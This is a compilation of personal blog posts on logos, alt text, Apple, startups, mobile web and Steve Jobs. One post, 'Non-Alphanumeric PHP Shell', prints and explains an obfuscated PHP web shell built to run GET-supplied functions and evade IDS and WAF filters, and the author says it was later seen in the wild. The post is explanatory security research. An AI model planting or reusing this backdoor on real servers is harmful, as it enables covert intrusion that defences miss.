TASS, a Russian-run news agency [shared a report](https://tass.com/economy/1462823) 2 days ago about Russia’s very own de-Arched McDonald’s brand. The logo kinda looks like Mos Burger — an abstract “M” built from 2 french fries and a burger (top-down). You might also see the [Warner Music Group](https://www.google.com/search?q=warner+music+logo&hl=en&sxsrf=ALiCzsZzOlnWBMBjkc7Zkntp-ce7cok9Yw:1654792791435&source=lnms&tbm=isch&sa=X&ved=2ahUKEwjWoIrE56D4AhXLm44IHe5KCGUQ_AUoAXoECAEQAw&biw=964&bih=831&dpr=2) logo turned clockwise.
Apparently, more thoughts were put into the design of the logo as well. It is not only notable as a marketing tool, but also as a cultural snapshot. McDonald’s entered Russia right after the fall of the Berlin wall and it’s glowing signs were a symbol of hope and globalization. And now, that hope has retreated back to the West while leaving its saturated fats behind.
The two Golden Arches have long been the most important symbol at McDs, the world’s most popular restaurant. You can watch the movie about the founding of McDonald’s on [Netflix](https://www.netflix.com/sg/title/80101899). The famous “M” logo was [formalized](https://en.wikipedia.org/wiki/Golden_Arches) by Jim Schindler, McDonald’s Head of Engineering and Design, in 1962.
Following the unwarranted attack on Ukraine by Russia, McD’s was quick to pull out of the country, selling nearly 1,000 locations to the Serbian Franchisee, Alexander Gover — who now wrestles with localizing McD’s for the region. Besides the new logo, they also need to update the names of popular menu items like the Filet-O-Fish and the Big Mac.
What’s still unknown is what Govor will name his new chain. The prerequisite of the buy-over is that the brand cannot be called McDonald’s anymore. For now, the logo hints at an “M” shape serving as a wink and nod to anyone looking for their Filet-O-Fish fix. And in those senses, Govor might be better off to not name the new chain with a word at all. While he doesn’t own the arches, he can still own the M. And as long as the M is associated with McD’s, it will still serve as a signpost — not of a more unified world, but of what’s for dinner.
---
---
title: "Just How Long Should Alt Text Be?"
url: "https://alsonkaw.com/muse/just-how-long-should-alt-text-be/"
lang: "en-US"
type: "post"
description: "So, how long should alt text be? The general consensus here is that there is no hard limit, but more of a contextual awareness of what purpose the image serves and adapting to it accordingly.— Just How Long Should Alt Text Be?"
last_modified: "2024-08-22T08:29:27+00:00"
categories: [SEO Tips & Optimization Strategies]
tags: [SEO, Web Development]
---
# Just How Long Should Alt Text Be?
> So, how long should `alt` text be? The general consensus here is that there is no hard limit, but more of a contextual awareness of what purpose the image serves and adapting to it accordingly.
— Just How Long Should Alt Text Be? ([CSS-Tricks](https://css-tricks.com/just-how-long-should-alt-text-be/?ref=sidebar))
As I was revamping my website, I took the chance to make sure all images on my site now have an alt tag. This was not an easy exercise and I find myself getting stuck naming a lot of the images. As much as possible I just try to type one single sentence that pops up in my mind when I see the image.
The HTML specification doesn’t outright define a maximum length for “alt” attributes. Current versions of the leading screen reader programs have no limits on the amount of alternate text they will read. However, there are at least two good reasons to keep alt text “short and sweet”.
First, if alt text is too lengthy, it can interrupt the content reading flow for screen reader users unnecessarily. Alt text should provide equivalent access to the content of an image, but must do so efficiently in order to avoid burdening users with extraneous information.
Second, most browsers display alt text visually if the image fails to display. It will also happen on mobile devices if the user has disabled images in order to conserve bandwidth and keep costs down. Although nowadays data is abundant enough that most people have forgotten this feature even existed. Alt text should therefore be short enough to reasonably fit within the space allocated for the image.
Essentially, alt text should be as long as it needs to be in order to effectively describe the content, but should be succinct.
---
---
title: "Instagram Sans Typeface"
url: "https://alsonkaw.com/muse/instagram-sans-typeface/"
lang: "en-US"
type: "post"
description: "A closer look at the new custom type of Instagram's latest brand refresh made with Colophon Foundry."
last_modified: "2024-08-07T19:44:19+00:00"
categories: [Creative Design Trends & UX/UI Innovation]
---
# Instagram Sans Typeface
A closer look at the [new custom type](https://about.instagram.com/brand/type) of Instagram’s latest brand refresh made with [Colophon Foundry](https://twitter.com/colophonfoundry).
---
---
title: "Apophenia"
url: "https://alsonkaw.com/muse/apophenia/"
lang: "en-US"
type: "post"
description: "The tendency to perceive a connection or meaningful pattern between unrelated things (such as objects or ideas). I’d suspect there was often a subconscious—or conscious—motivated reason tied to it. Apophenia is often used in a psychological or sociological context (e.g.,"
last_modified: "2024-08-22T08:30:10+00:00"
categories: [Psychology & Human Behavior]
---
# Apophenia
The tendency to perceive a connection or meaningful pattern between unrelated things (such as objects or ideas). I’d suspect there was often a subconscious—or conscious—motivated reason tied to it.
Apophenia is often used in a psychological or sociological context (e.g., conspiracy theories, etc.), but we all experience some version of it in our day to day life. We’re wired to make sense of things and to form narratives in our minds.
Take post-hoc fallacy, “Since event Y followed event X, event Y must have been caused by event X.”
Author Annie Duke writes up a more intricate version of it in Thinking In Bets entitling resulting fallacy, encouraging readers not to mix up the quality of the decision with the outcome.
Our capacities for pattern matching is our greatest strength and weakness. We can use it to learn quickly, certainly, though it also leads to an incredibly limiting sense of possibilities. Early—perhaps inaccurate—lessons or coincidences reinforce themselves through confirmation bias and self-fulfilling prophecies. People learn to fake the patterns.
One of the most important secrets to thinking beyond apophenia: doubt.
Going deeper and asking why we think this way.
Why did this experience, pattern, or connection actually take place? What is a correlation, and what is a cause? What can be explained, and what can’t? Ask yourself why five times, and you’ll find something that doesn’t make sense. **Trust, but verify.**
---
---
title: "M1-Specific Malware Detected"
url: "https://alsonkaw.com/muse/m1-specific-malware-detected/"
lang: "en-US"
type: "post"
description: "The GoSearch22 adware introduces itself as a regular Safari browser extension. Once installed, however, it collects user data and offers a wide range of advertisements, such as banners, pop-ups, and links to random sites. Analysis of the threat reveals that"
last_modified: "2024-08-22T08:30:47+00:00"
categories: [Cybersecurity & Digital Privacy Insights]
tags: [Apple, M1]
---
# M1-Specific Malware Detected
> The GoSearch22 adware introduces itself as a regular Safari browser extension. Once installed, however, it collects user data and offers a wide range of advertisements, such as banners, pop-ups, and links to random sites. Analysis of the threat reveals that GoSearch22 has attempted to mask itself by been signed with an Apple Developer ID earlier in November.
_— Lidia Howler on _[Mac M1 Malware GoSearch22](https://macresearch.org/m1-malware-gosearch22-mac/)
So early in it’s adoption phase and malwares are already being detected on the platform.
In recent years, I have already been warning friends and family using the Mac family that viruses and malwares is something that we need to start worrying about for the Apple ecosystem.
Seems like this is all getting real very quickly now.
---
---
title: "This year wasn’t unprecedented"
url: "https://alsonkaw.com/muse/this-year-wasnt-unprecedented-if-anything-it-set-the-precedent/"
lang: "en-US"
type: "post"
description: "Nothing that happened this year came out of the blue. It had all been foretold in the warnings of experts over decades. The problem is that these warnings came mostly from environmental scientists, who are the kinds of experts we"
last_modified: "2024-08-22T08:31:04+00:00"
categories: [Thoughts & Personal Reflections]
tags: [Disasters, World News]
---
# This year wasn’t unprecedented
> _Nothing that happened this year came out of the blue. It had all been foretold in the warnings of experts over decades. The problem is that these warnings came mostly from environmental scientists, who are the kinds of experts we are now well-practised in ignoring._
_— _**Waleed Aly**_, Sydney Morning Herald_
Read the [full article](https://www.smh.com.au/national/this-year-wasn-t-unprecedented-if-anything-it-set-the-precedent-20201224-p56pzt.html).
I couldn’t agree more with **Waleed Aly** in his assessment of the year 2020 and the words we are all guilty of using to describe it.
However, it is a rude awakening for all of us that have been ignoring the environmental scientists and the data they have been providing.
Like Waleed said, “This has no political purchase because it doesn’t capture our imaginations as an electorate. Words like “deforestation” and “biodiversity” are boring, and their concepts seem abstract to us. It’s far easier in a year of crisis like the one we’ve just endured, to focus on the concrete and immediate”.
---
---
title: "About"
url: "https://alsonkaw.com/about/"
lang: "en-US"
type: "page"
description: "Hello there, here we are. I am a thirty-five year old serial entrepreneur on a mission to make life easier for everybody using technology. I started out as a designer before pivoting into a developer and finally back to a"
last_modified: "2025-02-21T06:29:53+00:00"
custom_fields:
page_custom_navigation: 1
page_custom_footer: 1
navigation_show: "show"
navigation_type: "default-center"
navigation_opaque: "enable"
navigation_transparent: "enable"
navigation_transparent_always: "disable"
navigation_sticky: "enable"
footer_show: "show"
footer_template: 1748
navigation_hide_on_scroll: "enable"
---
# About
###
Hello there, here we are.**
I am a thirty-five year old serial entrepreneur on a mission to make life easier for everybody using technology. I started out as a designer before pivoting into a developer and finally back to a designer. So now I can do both.
As technology matures, things got complicated. But with the infusion of good design, I believe we can reverse that complexity, turning anything into a simple product that improves productivity and yet, is a joy to use.
Feel free to shoot me any questions you want.
[
 ](https://alsonkaw.com/wp-content/uploads/2024/09/wm_Scan-60-2.jpg)
[
 ](/setup/)
###
What I do and what I am passionate about.
I’m a multi-disciplined, aspiring polymath** who loves creating.
As a **designer**, I thrive on the freedom to conceptualize, especially in logo and web design. However, I also enjoy crafting unique jewelry and designing apparel in my spare time.
My **developer** side drives me to innovate, whether it’s creating products that boost productivity or tackling unsolved challenges. With a background in security and experience in **CTF (Capture the Flag)** tournaments, I blend technical skills with a knack for problem-solving.
My role as a **marketer** drives me to innovate, I relish the opportunity to brainstorm engaging ideas and run eCommerce stores for friends and myself.
When I step away from the digital realm, I’m a **musician** assuming the role of a vocalist and electric guitarist in a few rock and melodic metal bands — though, truth be told, audio engineering still keeps me tethered to my laptop.
###
Who I am and the companies I made an impact in
2019–Now
###### Ash+Zelkova
Creative Director
2018
###### Kenka Records
Audiography Director
_2018–2020_
2017
###### Artemis Royale
Founder
_2017–2019_
2016
###### NUKE FITNESS
Chief Technology Officer
_2016–2018_
2015
###### Sports Bojio
Creative Director
_2015–2016_
2014
###### Caffein8 Creative LABS
Creative Director
_2014–2019_
###### 6HourJobs
Business Strategist
_2014–2018_
2010
###### Aprilism Creative
Web Developer
_2010–2014_
---
---
title: "Portfolio"
url: "https://alsonkaw.com/portfolio/"
lang: "en-US"
type: "page"
description: "Portfolio"
last_modified: "2024-08-14T05:42:03+00:00"
custom_fields:
navigation_show: "show"
navigation_type: "offcanvas"
navigation_opaque: "disable"
navigation_transparent: "enable"
navigation_white_text_on_top: "enable"
---
# Portfolio
#
Portfolio
---
---
title: "Career Cold Start Algorithm"
url: "https://alsonkaw.com/muse/career-cold-start-algorithm/"
lang: "en-US"
type: "post"
description: "Names show up and the context in which they show up tends to provide a very different map of the organization than the one in the org chart.— Andrew Bosworth on the Career Cold Start Algorithm In my time as a"
last_modified: "2024-08-22T08:31:39+00:00"
categories: [Business Strategies & Market Insights]
tags: [Quotes]
---
# Career Cold Start Algorithm
> Names show up and the context in which they show up tends to provide a very different map of the organization than the one in the org chart.
— Andrew Bosworth on the [Career Cold Start Algorithm](https://boz.com/articles/career-cold-start)
In my time as a Project Manager, I’ve been thrown into deep ends of projects with substantial legacies. It was never easy trying to understand the background of a project just by reading the company knowledge base or wiki.
I’ve come to realise that no matter how much is documented, people are always the answer.
It’s been 2 years down the road and this article is still very much relevant.
---
---
title: "10 Reasons Why Designers Prefer the Mac"
url: "https://alsonkaw.com/muse/10-reasons-why-designers-prefer-the-mac/"
lang: "en-US"
type: "post"
description: "Recently came across a reddit article titled Must I really get a MacBook and thought it was interesting how the design industry is so prevalent with Macintoshes. Be it the iPad Air or the Retina 5k display iMac, ask any designer out"
last_modified: "2024-08-22T08:37:51+00:00"
categories: [Thoughts & Personal Reflections]
tags: [Apple, Design, Operating Systems, Software]
---
# 10 Reasons Why Designers Prefer the Mac
Recently came across a reddit article titled [Must I really get a MacBook](https://archive.is/o/EXmpR/www.reddit.com/r/singapore/comments/2y7652/must_i_really_get_a_macbook/) and thought it was interesting how the design industry is so prevalent with Macintoshes. Be it the iPad Air or the Retina 5k display iMac, ask any designer out there and nine out of ten will tell you they own at least 2 Apple products.
Why is this? Is it true that a designer cannot work without a Mac? What is so attractive about the Apple designed OS that all designers flock to it, and even idolizes it.
I asked a few designers and here are the results. Almost all of them have one reason in common. And that is to support a company that values design. When I dug further, eliminating “shallow” reasons like the industrial design of the MacBooks, the simple and elegent UI of OSX. I got a few things that just might tip a designer towards the Mac side.
Below is a list of the top 10 reasons why my Mac-toting designer friends chose to use a Mac.
- **Quick Look**: This minified preview function has saved lots of hours for designers looking around for assets. I still get amazed reactions from PC friends when they see me use it. As designers, we work with so much visual stuff that having a quick way to see what’s in our files is quite valuable.
- **Track Pad**: Apple’s trackpads are well known for their smoothness and responsiveness. One of my designer friend described touching the trackpad like “touching a new born’s buttocks — it’s so smooth and, oh so responsive”. Ever since my first MacBook Pro, I’ve never liked any other trackpads.
- **Font**: This is a multifaceted argument. Firstly, the way OSX handles font is just amazing. With sub-pixel anti-aliasing; ClearType has nothing on the Mac. Not to mention the font management abilities of OSX. Also, for type design, pretty much the only modern software available for it is OSX-exclusive [Robofont].
- **Applications**: The App/Software ecosystem of the Macintosh is amazing for designers. Like the previous type design app, many apps for designers are OSX-exclusive. And not old apps either. For example, Sketch and Final Cut Pro, just to name a few. I personally think that it may be because artists are attracted to the Mac and thus, when they create designer-esque softwares, they develope it with Mac-only or Mac-first in mind. This cause a loop in the eco-system.Designer likes OSX, designer creates design app for OSX. Other designers like the app designer made. Designers buy OSX to use app, and it snowballs from there.
- **Software Continuity**: This has a lot to do with user experience, which a lot of designers appreciate. There is no other company in the market that allows you to just take off from your desk and still be able to continue your work except Apple. And for designers, who often have to run between point A and B all day long, it’s a godsend.
- **Longevity**: People who know me should know that my experience completely refutes this point, but it has been accurate for many other people. We’ve all known people who use their MacBook for years. One of my lecturer from college actually still uses a PowerBook G3, which is amazing. Yet I have never had a MacBook last more than 3 years. YMMV.
- **Support**: This is something I cannot elaborate enough. If I have a problem with any of my devices, I bring it to the nearest Apple Store, no matter which part of the Earth I’m at. Not only will I receive free advice but on at least a dozen occasions, I’ve have a product replaced on the spot, free of charge, no questions asked. That degree of support alone is valuable and worth every extra cent I paid for.
- **Stability**: I have only ever had a Blue Screen of Death (or the Grey Screen of Death in the case of the Mac) once in my entire life, and I was tinkering with kernel files on purpose. Due to the way *nix handles programs (Sandbox), whenever an app crashes on you, it does not pull the entire OS down with it. Just force quit and re-open and you’re back to doing whatever you were doing in no time. Also, viruses. I am not going to tell you that the Mac is virus-free, but you cannot deny it has a lot less virus.
- **Battery**: The MacBooks have an astounding battery life compared to every other PC I’ve used before. That alone is a deciding factor for many of the designers I’ve talkd to.
- **Display**: Great color management and one word. Retina. Sold.
With that, I believe it is clear why the design industry adores Apple products. But that doesn’t mean you can’t create art without a Mac. I’ve also known designers who uses Windows. You are not labeled by the instruments you use. Be it a MacBook or a LifeBook, if you create great art, you’re still a designer in my book.
So cheers to all the designers out there, no matter of your instruments of choice. And if you guys have anything to comment about this post, let me know in this Reddit thread and I’ll try to answer you as best as I could. Or other designers, if I’m sleeping and they’re faster than me.
---
---
title: "What Does Full-Stack Anything Really Mean?"
url: "https://alsonkaw.com/muse/what-does-full-stack-anything-really-mean/"
lang: "en-US"
type: "post"
description: "I’ve been introducing myself as a full stack designer/developer hybrid for some time — when asked exactly what do I do. And then I always get the same next question — what does a full stack designer / developer mean?"
last_modified: "2024-08-08T17:59:59+00:00"
categories: [Thoughts & Personal Reflections]
tags: [Full Stack]
---
# What Does Full-Stack Anything Really Mean?
I’ve been introducing myself as a full stack designer/developer hybrid for some time — when asked exactly what do I do.
And then I always get the same next question — what does a full stack designer / developer mean?
In fact, the term Full Stack Designer doesn’t even return any results on Google!
Basically, the easiest answer I give to anyone who ask that is.
> It basically means I can do the work of five people for the price of one.
Note: I wrote I can, not I’m willing. Jokes aside, a full stack anything means you are able to handle **anything** within your industry with ease.
Full Stack Developer? You handle everything from the server / hosting configuration, to the database, to the language(s) you specialize in, the APIs, MVCs, Action Layers to the UI/UX department and some may or may not include understanding of what the client / user / business needs.
So basically, a full stack anything is able to create something from scratch to completion by himself without any help from anyone else. Regardless if the result is good or bad.
Yes, they exist, and there are, quite frankly, lots of people claiming to be a full stack designer / developer / hybrid. But like all things, one cannot specialize in everything. Everyone of these full stack people have their own specializations, which they would identify for you if probed. So do not forget to ask about their **speciality** especially when hiring.
**TL;DR**
### FULL STACK DEVELOPER
- Code
- Commercialise
- Implement
- Test
- Maintain
### FULL STACK DESIGNER
- Research
- Design
- Implement
- Prototype
- Knowledgeable in all types of design [Product, Graphic, Web, Software, Typography, etc.]
### FULL STACK HYBRID
All of the above.
If you have anything to add to this list or just outright think I’m wrong about it, feel free to let me know in the comments.
---
---
title: "Go out and do something ordinary!"
url: "https://alsonkaw.com/muse/go-out-and-do-something-ordinary/"
lang: "en-US"
type: "post"
description: "You don't discover a problem worth solving by fantasizing with your co-founders \"If there be an app that could do X, would it be cool?\" You don't discover a problem worth solving by playing the This for That game. However,"
last_modified: "2024-08-08T18:00:18+00:00"
categories: [Business Strategies & Market Insights]
tags: [Startup]
---
# Go out and do something ordinary!
You don’t discover a problem worth solving by fantasizing with your co-founders “If there be an app that could do X, would it be cool?” You don’t discover a problem worth solving by playing the [This for That](https://itsthisforthat.com/) game.
However, here is a way to do it:
**Go out and do something ordinary!**
Go perform some mundane tasks that ordinary people around you do every day. The choices are endless. Here are some things to start with:
- Sell something you own
- Help a friend move
- Organize a group holidays
- Apply for a job
- Introduce someone to another
- Service your car
This is the important thing. The point of this exercise is not to create a startup that solves the task as a whole. The point is, by performing an ordinary task, you will find inefficiencies at some point in the process. “How the fuck do I…?” moment. How the fuck do I sell what I’m selling? How the hell do I know if the company I’m applying for has seen my job application?
It might be a small part of the process, but it might just be a big enough pain that someone will pay you to solve it elegantly for them.
For startups, this is a great place to start.
---
---
title: "Accidental Entrepreneurs Don’t Exist"
url: "https://alsonkaw.com/muse/16056-2/"
lang: "en-US"
type: "post"
description: "In response to this article. The overall point of the author's post is correct, basically: have lots of ideas (90% of them are shit anyway), get used to failing, and suck it up, asshole! I'm just against the romantic idea"
last_modified: "2024-08-22T08:38:11+00:00"
categories: [Business Strategies & Market Insights]
tags: [Startup]
---
# Accidental Entrepreneurs Don’t Exist
In response to[ this article](https://techcrunch.com/2011/12/24/secrets-of-the-accidental-entrepreneur/).
The overall point of the author’s post is correct, basically: have lots of ideas (90% of them are shit anyway), get used to failing, and suck it up, asshole! I’m just against the romantic idea of “accidental entrepreneurs” — it’s a poor choice of words to describe the reality of the process.
Everything the author describes doesn’t seem accidental to me. Examples cited include Groupon’s transformation from a charity fundraising site to a now publicly listed group-buying site, and Twitter’s transformation from a failed podcast aggregator (called Odeo) to the now ubiquitous communication tool.
I believe these shifts happen more deliberately and painfully than we are led to believe in watered-down versions of the events we hear in the media. I think it’s more likely that Groupon and Twitter were thinking early on:
>
Oh shit we still have 2 months of cash and no fucking runway, what do we do now
or
>
Oh shit, after a year of fucking around, we’re not gaining any traction, what do we do now
or simply
>
Oh shit, what the fuck do we do now
People don’t just stumble upon game-changing ideas, they stem from desperation to survive and succeed or risk becoming another grave in the Startup Graveyard. Without the desperation for survival or success, Groupon and Twitter would disappear into the startup ether the way they started, like that little fundraising site and that little podcast aggregator.
The desire to survive, to succeed, and the willingness to fail many times sounds far from accidental. To me, this describes a more deliberate behavior that is hungrier or more stubborn than accidental.
The idea of an Accidental Entrepreneur appeals to the lazy bastards in all of us. Accidents show that if we continue to indulge in nonsensical ideas, eventually we will stumble upon something wonderful and turn it into our own pot of gold. This is not how a startup pivot, and it is not how you become successful. Take the author’s advice – none of this is accidental, it’s all well thought out, proactive and self-preserving.
Summary: Don’t be a pervert, stop fantasizing about accidents!
Be a hungry, stubborn entrepreneur.
---
---
title: "Non-Alphanumeric PHP Shell"
url: "https://alsonkaw.com/muse/non-alphanumeric-php-shell/"
lang: "en-US"
type: "post"
description: "UPDATE NOV 13 2013: As seen on Sucuri, this exact snippet of mine was spotted in the wild in 2013. When this article was first published in 2011, my blog was at blog.omfgitsasalmon.com (Wayback machine) and I wasn't getting a"
last_modified: "2024-08-22T08:40:42+00:00"
categories: [Cybersecurity & Digital Privacy Insights]
tags: [PHP, Security, Web Development]
---
# Non-Alphanumeric PHP Shell
**UPDATE NOV 13 2013**: As seen on [Sucuri](https://blog.sucuri.net/2013/09/ask-sucuri-non-alphanumeric-backdoors.html), this exact snippet of mine was spotted in the wild in 2013. When this article was first published in 2011, my blog was at blog.omfgitsasalmon.com ([Wayback machine](https://web.archive.org/web/20131114163603/http://blog.omfgitsasalmon.com/)) and I wasn’t getting a lot of views back then. In an effort to make sure my codes are not used maliciously. I will not be publishing any exploits on this website unless they have been patched and have been confirmed to not be a vulnerability anymore.
After seeing Mr. Gareth Hayes from [The Spanner](https://www.thespanner.co.uk/) made a [non-alphanumeric shell variant](https://www.thespanner.co.uk/2011/09/22/non-alphanumeric-code-in-php/). I got inspired by his nifty script and started researching further.
My main plan was to create an array of data with different values in order to have something to work with. So my first shot was this:
**@$_[]=@!+_;**
PHP will try to parse the green underscore as a constant, when the interpreter is unable to find the constant it will prompt you with a notice. I suppress the notice warning using the ‘@’.
The “_lost-constant_” in turn will be converted to a string (_string(1) “_”_).
Just like Gareth Hayes, I used the plus-operator (red) to cast the string to an integer (_int(0)_).
By appending the exclamation mark (blue), the value 0 will be cast to a boolean (_bool(true)_).
So far so good! We have a boolean saying **true**!
I try to store it by pushing the value into the array **$_** (yellow). However, it doesn’t exist.
By suppressing that too, PHP will automagically create it for you, and your value will get stored.
That’s how I initialize my array. So, what do we do know?
Well, just like Mr. Gareth stated, if you try to access an array as a string in PHP.
It will generate the string “Array”.
If we have a string, we can generate other strings out of it by (ab)using AND, OR, and XOR.
I figured I had quite a few characters I easily could generate in PHP.
So I coded this fuzzer in VB.NET which permutated through AND, OR, and XOR and gave me all the combinations that matched any letter in the words GET, POST, and REQUEST. (_Now when I’m thinking about it, later on, I could have added COOKIE too…_)
Nevertheless, my fuzzer ([phpfuzz.vb](https://pastie.org/3309980)) gave me the following results: [fuzz_result.txt](https://pastie.org/3309984).
By analyzing the results, you’ll notice we’re able to generate all of those three methods by using only a 15-character list.
But for the sake of clarity, I chose to go with GET.
By utilizing some boolean magic and variable dereferencing I ended up with this:
@$_[]=@!+_;$__=@${_}>>$_;$_[]=$__;$_[]=@_;$_[((++$__)+($__++))].=$_;
$_[]=++$__;$_[]=$_[--$__][$__>>$__];$_[$__].=(($__+$__)+$_[$__-$__]).($__+$__+$__)+$_[$__-$__];
$_[$__+$__]=($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__]);
$_[$__+$__].=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__]);
$_[$__+$__].=($_[$__][$__+$__])^$_[$__][($__<<$__)-$__];
$_=$ //omfgitsasalmon.posterous.com
$_[$__+$__];$_[@-_]($_[@!+_]);
?>
The method for execution used in Gareth’s [shell](https://www.thespanner.co.uk/2011/09/22/non-alphanumeric-code-in-php/) remains the same.
But if you look at it, I added a few sneak factors.
- No quotes! Quotes tend to trigger IDS’es and WAFs.
- No use of functions.
- No strings.
- No numbers.
- No constants.
---
---
title: "Mobile Apps vs. Mobile Web"
url: "https://alsonkaw.com/muse/mobile-apps-vs-mobile-web/"
lang: "en-US"
type: "post"
description: "When you log into your computer at home and visit Facebook, most people type \"facebook\" into their browser. Some people may click bookmarks in their browsers. You certainly won't find and open version 1.1 of the Facebook desktop app for"
last_modified: "2024-08-07T16:14:45+00:00"
categories: [Software Development & Best Practices]
custom_fields:
trx_addons_post_views_count: 23
trx_addons_post_likes_count: 0
powerkit_share_buttons_transient_pinterest: 1722305335
views: 1229
---
# Mobile Apps vs. Mobile Web
When you log into your computer at home and visit Facebook, most people type “facebook” into their browser. Some people may click bookmarks in their browsers. You certainly won’t find and open version 1.1 of the Facebook desktop app for OS X (no such thing exists). However, on our internet-enabled mobile devices, we behave completely differently. Curiously, we’ve trained consumers to expect services to be distributed on mobile devices via apps rather than the open web. Why is it like this?
### Advantages of Mobile Web
- **Write once, run on any device.** In theory. In practice, this is not always smooth due to the different screen sizes/interface quirks of devices on the market. But overall, it’s a net-win for the businesses, maintaining a single codebase that works across multiple platforms.
- **Mass distribution.** Again, in theory. If something is on the open web, then anyone can access it anytime, but accessibility is not the same as coverage — what good is open distribution if consumers are searching for your service in the app store anyway?
- **Play by your own rules.** When offering services on the open web, your business doesn’t need to agree to terms of service, no middlemen taking a percentage of your revenue, and no hand of God to provoke and see yourself shut down on a whim. That’s not the case for those who play in walled gardens like the AppStore or Playstore.
- **Instant deployment.** found a mistake? Patch it and deploy. Now it’s fixed for everyone. With the app model, bugs are only patched when the distributor approves your patch, and crucially, when consumers actually gets around to update it.
### Advantages of Mobile App
- **Access native APIs.** This means your app can do things like take a picture with the device’s camera or receive push notifications. Accessing device capabilities is a huge stumbling block, and it’s probably one of the main reasons why businesses create native apps instead of web apps. If an app like Instagram can access the camera API, can it be 100% web-based? Absolutely yes, it could be better. It’s unfortunate that so many businesses have had to make this decision.
- **Consumer bias.** We’ve trained consumers to look for things in the app store. When you download something from the App Store, you press a button and a shiny icon appears on your home screen. This is good. Web bookmarks are less glamorous, and while there are ways to place bookmarks on the home screen, this is not a common consumer behavior and more of a power user behavior.
- **Profit.** All parties in the app economy have an easier path to monetisation than the open web. One-click buying means ultimate ease of use for consumers without having to reveal credit card details to anyone – and app developers still have high conversion rates. App economy owners demand payment of transaction fees. It’s a totally smoother experience compared to the clunky buying process of the open web, which is completely different depending on the website you’re on. This also means that app economy owners have direct incentives to further improve the app economy experience, and indirectly attract developers away from the open web.
Popular applications require access to device APIs. The Camera. Your photo album. If this means app developers can sidestep their app store economy and deploy near-native apps to the open web, then assuming device makers are reluctant to provide web-based access to device APIs, this is not an option Huge logical leap. Too much money and opportunity will be lost. There are also security concerns, as end-device manufacturers don’t want bad things to happen to their customers (like visiting a malicious website, your contact book being deleted, etc), so a regulated environment is still the safest.
I wonder if there is a happy middle ground for developers and device manufacturers. **What if web-based device API access** is subjected to license fees and agreements? The criteria for profit and security will then be met, and developers are free to take advantage of the open web and the advantages of native APIs.
One other thing that will be harder to change is consumer behavior. In the mobile web of the future, you might be able to build Instagram entirely as a web app on Instagram.com, and any user on any device can log in and take retro photos with their device’s camera.
If all is lost Ultimately, consumers want to find your app in the app store, download it and get the shiny new icon.
It’s Apple’s (or Android’s) business prerogative to not welcome web apps in the app store. Why put scrappy web app developers who are independent of the app store economy in the spotlight when there are so many other $1 apps with features like in-app purchases and subscriptions? The same goes for shiny icons, which are very important for creating a sense of ownership and retaining consumers – consumers can’t go to your mobile website and click “download” to “get” the web app and shiny icons. They have to go to Options > Add to Home Screen (who does that?) or Options > Save bookmarks or something, not just the word “download” or “install”. Sadly, there is no API for launching home screen additions.
### Conclusion
In order to align the interests between device manufacturers and web developers, there needs to be some mutual benefit. Clearly, accessing native APIs in web-based applications will open up plenty of opportunities for developers. Device manufacturers should seek to achieve this for their own benefit. Regulated API usage could be a step towards this goal. Remember, it’s not just hardware features that developers can benefit from access. I’m sure developers will be crazy about a one-click payment API available on the open web that simply uses the mobile device user’s app store credentials. This negates some of the advantages of the open web (such as “playing by your own rules”), but for traditionally fragile operations like payments, as a developer, I’d accept convention over configuration any day.
I hope in the future we will see something called the **AppStore Web API**. It will provide web-based apps with native API access to device features such as the camera, and will provide web-based apps with a plug-and-play payment system using App Store credentials. Everyone wins.
Oh, and if Apple, Android, and Blackberry could make it an open common standard, then we wouldn’t have to write device-specific code — but I know I’m dreaming.
---
---
title: "Looking Back at Steve Jobs"
url: "https://alsonkaw.com/muse/looking-back-at-steve-jobs/"
lang: "en-US"
type: "post"
description: "Looking at my last post on this blog, I feel very somber. It was written a month ago and I talked about Steve Jobs in it as if he was still with us. Now that he's gone, the world has"
last_modified: "2024-08-22T19:44:27+00:00"
categories: [Thoughts & Personal Reflections]
tags: [Apple, Steve Jobs, Tribute]
---
# Looking Back at Steve Jobs
Looking at my last post on this blog, I feel very somber.
It was written a month ago and I talked about Steve Jobs in it as if he was still with us.
Now that he’s gone, the world has lost a great man. A cutting-edge visionary, an inspiring preacher, a man who propelled the world great leaps and bounds forward — sometimes we screamed with annoyance, sometimes we were ecstatic. Like many others, I am deeply saddened by the passing of Steve Jobs, and even writing this two weeks after his passing has tears in my eyes.
I’ve been an Apple user for over 12 years, bought almost everything they released, always stayed up until 3am watching Steve do his amaze-balls product announcements. I was fascinated by the life story of Steve Jobs (read the books, watch the movie), and recently became part of the iOS ecosystem and started building apps for iPhone and iPad. Apple is an important part of my life.
There are many, many tributes to Steve Jobs, but one of the most moving for me is Stephen Colbert. A huge Apple fanatic himself, his farewell message to Steve was both respectful and very human. It’s impossible not to cry in the [last 10 seconds of this clip](https://web.archive.org/web/20111115195126/http://www.colbertnation.com/the-colbert-report-videos/399182/october-06-2011/tribute-to-steve-jobs).
EDIT: The link above cannot be watched anymore, I’ve managed to find the exact episode on [archive.org](https://archive.org/details/COM_20111007_163000_The_Colbert_Report/start/840/end/900), and re-uploaded the entire segment to YouTube, which you can watch below.
I will always remember Steve Jobs. He will continue to be an inspiration to me and millions of others, that’s for sure. I wanted to somehow keep him reminded so I could be motivated to never be afraid, never listen to naysayers, and never give up on my dreams and ambitions.
Despite his strategic genius, perfect stage skills, inspiring, determined ambitions of faith, Jobs was a man, a man just like you and me. He wore goofy bow ties when he was younger, he screw up every now and then, and as he got older, things started to get harder to see, so he put glasses on his head like that.
That is the way I remember him. Someone who showed the world they could do crazy great things, if you dare to try.
Rest in Peace.
---
---
title: "Reflection on Steve Job’s Resignation"
url: "https://alsonkaw.com/muse/reflection-on-steve-jobs-resignation/"
lang: "en-US"
type: "post"
description: "On June 12, 2005, in his commencement address to Stanford's graduating class, Steve Jobs revealed: \"When I was 17, I read a quote that went something like: 'If you live each day as if it was your last, someday you'll"
last_modified: "2024-08-07T16:15:28+00:00"
categories: [Thoughts & Personal Reflections]
tags: [Apple]
custom_fields:
trx_addons_post_likes_count: 0
trx_addons_post_views_count: 15
powerkit_share_buttons_transient_pinterest: 1722205650
views: 1324
---
# Reflection on Steve Job’s Resignation
On June 12, 2005, in his commencement address to Stanford’s graduating class, Steve Jobs revealed:
